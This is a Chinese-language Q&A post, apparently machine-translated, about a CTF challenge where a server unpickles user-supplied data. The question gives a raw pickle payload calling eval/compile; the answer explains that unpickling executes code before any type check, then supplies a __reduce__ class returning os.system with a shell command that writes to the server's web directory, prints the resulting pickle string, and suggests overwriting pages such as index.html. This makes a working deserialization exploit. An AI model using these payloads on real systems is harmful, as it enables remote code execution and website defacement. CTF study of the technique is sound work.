python2 使用 pickle 运行任意代码并返回字典



我正在做一个CTF,其中编码字典的泡菜字符串被发送到服务器。

我很确定我应该以这样的方式更改泡菜,以便泡菜将运行任意代码来获取标志。一些搜索将我引向这个泡菜,它允许我运行代码:

(c__builtin__
eval
(c__builtin__
compile
(Vprint("Bang! From, Evan.", 1)
V-
Vexec
I65536
I0
tRtR.)

问题是服务器期望 pickle 是一个字典,所以当代码发送到它时,它会给出一个"内部服务器错误"(也许它正在尝试访问密钥,而 pickle 没有返回字典)。

那么如何在泡菜中运行代码同时返回字典呢?(顺便说一句,我也尝试在代码中运行return,但这也给出了"内部服务器错误"。


注意:这是字符串的格式:

(dp0
S'string_a'
p1
I00
sS'string_b'
p2
I00
sS'string_c'
p3
I00
sS'string_d'
p4
I00
sS'string_e'
p5
I00
sS'string_f'
p6
I00
s.

即使服务器正在检查未被pickled对象的类型(或者是否可以从中访问密钥),也需要首先取消pickled对象(在此期间,您可以在服务器上执行恶意代码)。这就是为什么非常不鼓励从不受信任的来源任意解冻数据的原因。

因此,您来自未腌制字符串的代码首先被执行,之后服务器将返回"内部服务器错误"。

您可以使用在取消酸洗期间调用的类的__reduce__方法来生成一个新的酸洗字符串,该字符串执行您想要的操作并允许您进行 RCE。

import pickle
class CTF(object):
def __reduce__(self):
cmd = ('echo `hostname` > /webserver/static/rce_hostname.html')
import os
return os.system, (cmd,)
payload = pickle.dumps(CTF())
print(payload)

上面生成了这个腌制的字符串——

cposix
system
p0
(S'echo `hostname` > /webserver/static/rce_hostname.html'
p1
tp2
Rp3
.

如果您使用上面的 pickled 字符串,即使您看到"内部服务器错误",服务器最终也会将主机名写入/webserver/static/rce_hostname.html如果服务器有权写入路径。根据您有权访问的页面(例如索引.html),您可以使用所需的内容覆盖它们。

您可以更改__reduce__函数的内容以创建自己的腌制字符串,以运行服务器的用户的权限执行所需的代码。

最新更新